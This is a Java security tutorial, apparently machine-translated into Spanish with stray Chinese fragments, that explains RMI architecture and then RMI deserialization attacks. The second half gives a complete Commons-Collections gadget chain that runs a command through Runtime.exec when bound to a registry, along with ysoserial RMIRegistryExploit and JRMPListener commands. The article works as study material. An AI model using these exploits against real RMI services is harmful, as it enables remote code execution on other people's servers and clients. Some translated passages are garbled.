RMI
RMI(Remote Method Invocation)
Es decir, Java
la invocación de métodos remotos, que RMI
se utiliza para crear aplicaciones distribuidas, similar a RPC(Remote Procedure Call Protocol)远程过程调用协议
la que RMI
implementa la comunicación remota Java
entre programas , de modo que un objeto en uno puede llamar a un método en otro (el método se ejecuta de forma remota y solo devuelve el resultado de la ejecución). Los dos pueden estar en diferentes procesos ejecutándose en la misma computadora, o en diferentes computadoras en la red.JVM
JMV
JMV
JVM
JVM
Arquitectura RMI:
RMI se divide en tres partes principales: Cliente, Servidor y Registro.
En la versión inferior del JDK, el Servidor y el Registro no pueden estar en el mismo servidor, pero en la versión superior del JDK, el Servidor y el Registro solo pueden estar en un servidor, de lo contrario, el registro no puede tener éxito.
En este artículo, tanto el servidor como el registro están del lado del servidor .
Registry
La traducción es el registro, de hecho, es esencialmente un mapa (hashtable), que registra muchas relaciones vinculantes entre nombres y objetos, que son utilizados por el cliente para consultar la referencia del método a llamar. registry
La función es como, el paciente (cliente) se registra antes de ver a un médico (obtiene la IP, el puerto, el identificador del objeto remoto), y sabe en qué habitación ambulatoria está el médico (servidor) antes de ver a un médico (ejecuta el método remoto ).
RMI
La comunicación subyacente usa el mecanismo de Stub(运行在客户端)
suma , y la llamada al método remoto es más o menos como sigue:Skeleton(运行在服务端)
RMI
Todo el proceso se TCP
conectará dos veces. La primera vez es para Client
obtener el nombre y el objeto, y la 绑定关系
segunda vez es para conectarse Server
y llamar al método remoto.
El primer TCP :
RMI客户端
Se crea primero cuando se llama a un método remotoStub(sun.rmi.registry.RegistryImpl_Stub)
.
Stub
pasaráRemote
un objeto远程引用层(java.rmi.server.RemoteRef)
y creará unjava.rmi.server.RemoteCall(远程调用)
objeto.
RemoteCall
SerializaciónRMI服务名称
,Remote
Objeto.
RMI客户端
La información de la solicitud serializada se远程引用层
transmite a través de la conexión .RemoteCall
Socket
RMI服务端
远程引用层
RMI服务端
La远程引用层(sun.rmi.server.UnicastServerRef)
solicitud recibida se pasará la solicitud aSkeleton(sun.rmi.registry.RegistryImpl_Skel#dispatch)
.
Skeleton
LlameRemoteCall
a deserializar la serializaciónRMI客户端
pasada.
Skeleton
Manejar las solicitudes del cliente:bind
,list
,lookup
,rebind
,unbind
, si eslookup
así, busqueRMI服务名
el objeto de interfaz vinculado, serialice el objeto y páseloRemoteCall
al cliente.Segundo TCP:
RMI客户端
Deserialice el resultado del lado del servidor para obtener una referencia al objeto remoto.
RMI客户端
Llame al método remoto,RMI服务端
reflejeRMI服务实现类
el método correspondiente llamado y serialice el resultado de la ejecución y devuélvalo al cliente.
RMI客户端
Deserialice elRMI
resultado de la llamada al método remoto.
Para obtener una referencia detallada del proceso de llamadas: https://blog.csdn.net/qsort_/article/details/104861625
https://www.cnblogs.com/yyhuni/p/15091121.html#registryimpl_stubbind
Se recomienda depurarlo antes de leer la deserialización en la segunda parte, y no lo repetiré aquí.
Lo siguiente proporciona una demostración de RMI más simple:
Servidor
package RMI;
import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;
public class RMI_Server{
public interface RMIHelloInterface extends Remote {
String hello() throws RemoteException;
}
public class RMIHelloWorld extends UnicastRemoteObject implements RMIHelloInterface{
protected RMIHelloWorld() throws RemoteException {
super();
}
public String hello() throws RemoteException {
return "Hello RMI~";
}
}
private void start() throws Exception{
//System.setProperty("java.rmi.server.hostname","vpsip");
//RMISocketFactory.setSocketFactory(new CustomerSocketFactory());
LocateRegistry.createRegistry(7999);
RMIHelloWorld h = new RMIHelloWorld();
//不用bind是防止测试的时候重复绑定导致失败
Naming.rebind("rmi://localhost:7999/hello",h);
}
public static void main(String[] args) throws Exception {
new RMI_Server().start();
}
}
Cliente
package RMI;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
public class RMI_Client {
public static void main(String[] args) throws MalformedURLException, NotBoundException, RemoteException {
RMI_Server.RMIHelloInterface hello = (RMI_Server.RMIHelloInterface) Naming.lookup("rmi://127.0.0.1:1099/hello");
String ret = hello.hello();
System.out.println(ret);
}
}
Nombrar en el código es solo una clase de herramienta que encapsula la operación de registro.
Naming.rebind("//host/objName", myObj);
//而使用Registry,需要注册表对象上的现有句柄
Registry registry = LocateRegistry.getRegistry("host");
registry.rebind("objName", myObj);
Sin embargo, el servidor generalmente está en el vps de la red pública y el nombre de host es diferente de la IP de la red pública. Debe agregarse al comienzo del método hello del servidor.
System.setProperty("java.rmi.server.hostname","所部属的服务器公网Ip地址");
Establezca la variable IP del servidor en la variable global del sistema: el nombre de host de java rmi, que permite que el cliente se conecte al servidor.
Cuando el programa cliente solicita un objeto del servidor, el objeto stub devuelto contiene el servidor hostname
y las operaciones posteriores del cliente se conectan al servidor de acuerdo con este nombre de host. En el servidor, suele ser la dirección IP de la intranet.Si DHCP está habilitado en la máquina virtual VM, 127.0.1.1 newFQDN newHostname
provocará una segunda solicitud de TCP para conectarse al RMIServer.
También debe especificar el puerto de comunicación (segundo TCP) para evitar la intercepción por parte del firewall, que debe llamarse antes de registrar el puerto
RMISocketFactory.setSocketFactory(new CustomerSocketFactory());
CustomerSocketFactory类:
package RMI;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.server.RMISocketFactory;
public class CustomerSocketFactory extends RMISocketFactory {
@Override
public Socket createSocket(String host, int port) throws IOException {
return new Socket(host, port);
}
@Override
public ServerSocket createServerSocket(int port) throws IOException {
if (port == 0) {
port = 7777;
}
System.out.println("rmi notify port:" + port);
return new ServerSocket(port);
}
}
Estas dos oraciones deben estar en la parte superior. Cuando comencé a probar, puse la creación de instancias de la clase que define la función remota en la parte superior, pero seguía recibiendo un error y no podía conectarme, y el puerto de comunicación especificado no funcionaba. trabajo tampoco.
Vulnerabilidad de deserialización de RMI
RMI
Todos los objetos en la comunicación se transmiten a través de la serialización de Java ( 客户端序列化,服务端反序列化
), y habrá una operación readObject.Si se construye un objeto malicioso en el servidor, el objeto se serializa y transmite hasta el RMIServer
final, y el RMIServer
final se deserializará cuando está deserializado Activará una vulnerabilidad de deserialización.
La existencia de una vulnerabilidad de deserialización RMI debe cumplir dos condiciones:
- comunicación RMI
- El servidor de destino hace referencia a un paquete jar de terceros con vulnerabilidad de deserialización (p. ej.: commons-collections.jar 3.1)
El entorno de prueba también debe tenerse en cuenta que las siguientes versiones se han reparado a través del mecanismo JEP290,
- Kit de desarrollo de Java™ SE 8, actualización 121 (JDK 8u121)
- Kit de desarrollo de Java™ SE 7, actualización 131 (JDK 7u131)
- Kit de desarrollo de Java™ SE 6, actualización 141 (JDK 6u141)
Este artículo se basa en la versión jdk1.7.0_80 para realizar pruebas.
Dado que se trata de una vulnerabilidad de deserialización, primero debe encontrar la ubicación de readObject. Analizando el proceso de comunicación RMI, se puede encontrar que la operación de serialización ocurre principalmente en Registry
el proceso de comunicación con: es decir, la bind / lookup
operación
Si va a depurar dinámicamente el proceso de llamada, puede ver que el createRegistry
método del servidor obtiene el RegistryImpl
objeto y el getRegistry
método obtiene el RegistryImpl_Stub
objeto.
Independientemente de si se trata de un método de uso común en el Servidor bind/rebind
o un método de uso común en el Cliente, los lookup
métodos anteriores finalmente manejarán 服务端
los RegistryImpl_Skel#dispatch
métodos correspondientes a diferentes objetos, y los cinco métodos pueden llamarse en el Servidor/Cliente.
var3 es una matriz de tipo int, correspondiente a
- 0->vincular
- 1->lista
- 2->buscar
- 3->reenlazar
- 4->desvincular
Puede ver que existen ambos enlaces/reenlaces .readObject()
, entre los cuales se encuentra el objeto serializado malicioso var8
que pasamos.RMIExploit
Remote
buscar también tiene.readObject()
En este momento, regrese y observe el proceso de interacción RMI:
Client
Puede ser llamado y disparado Registry
cuando se comunica con el Registro, luego puede atacar el Registro (servidor), además de devolver datos en forma serializada, debe ser deserializado cuando llega al cliente.Si se falsifica un servidor malicioso para permitir la conexión, se puede lograr el ataque correcto .bind&rebind / lookup
readObject()
unbind&rebind
Registry
Client
Client
Ataque al servidor:
enlazar y volver a enlazar
Modifique el código de cliente a:
package RMI;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;
public class RMI_Client {
public static void main(String[] args) throws Exception {
try {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{
String.class}, new Object[]{
"calc.exe"}),
};
Transformer transformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map ouputMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(ouputMap, "pwn");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
Map tmpMap = new HashMap();
tmpMap.put("pwn", badAttributeValueExpException);
Constructor<?> ctor = null;
ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) ctor.newInstance(Override.class, tmpMap);
Remote remote = Remote.class.cast(Proxy.newProxyInstance(RMI_Client.class.getClassLoader(), new Class[]{
Remote.class}, invocationHandler));
Naming.rebind("rmi://localhost:7999/hello",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
}
De hecho, el gadget usa la clase proxy Remote y la envía al Registro a través de bind.
Este método de ataque se ha implementado en ysoserial.Configure CommonsCollections3.1 en el proyecto, luego inicie un registro RMI y luego ejecute:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 CommonsCollections7 "calc.exe"
buscar
Aprovecha al falsificar solicitudes de conexión, modifica el código del método de búsqueda para que pueda pasar el objeto: https://xz.aliyun.com/t/9053#toc-0
Cliente de ataque:
Forje un registro RMI malicioso utilizando JRMPListener de ysoserial:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7999 CommonsCollections1 'calc.exe'
Además, hay casos en los que se llama al método remoto para pasar el parámetro Objeto, el método remoto devuelve un Objeto, etc., así como la omisión de JEP290. Los siguientes artículos se han resuelto en detalle:
https://xz.aliyun.com/t/9053
https://www.anquanke.com/post/id/263726
https://paper.seebug.org/1194
Resumir
La transmisión de datos de RMI se basa en la transmisión de datos serializados, por lo que el registro, el cliente y el servidor de RMI pueden atacarse entre sí. Además, la versión de versión baja también usa código base para atacar.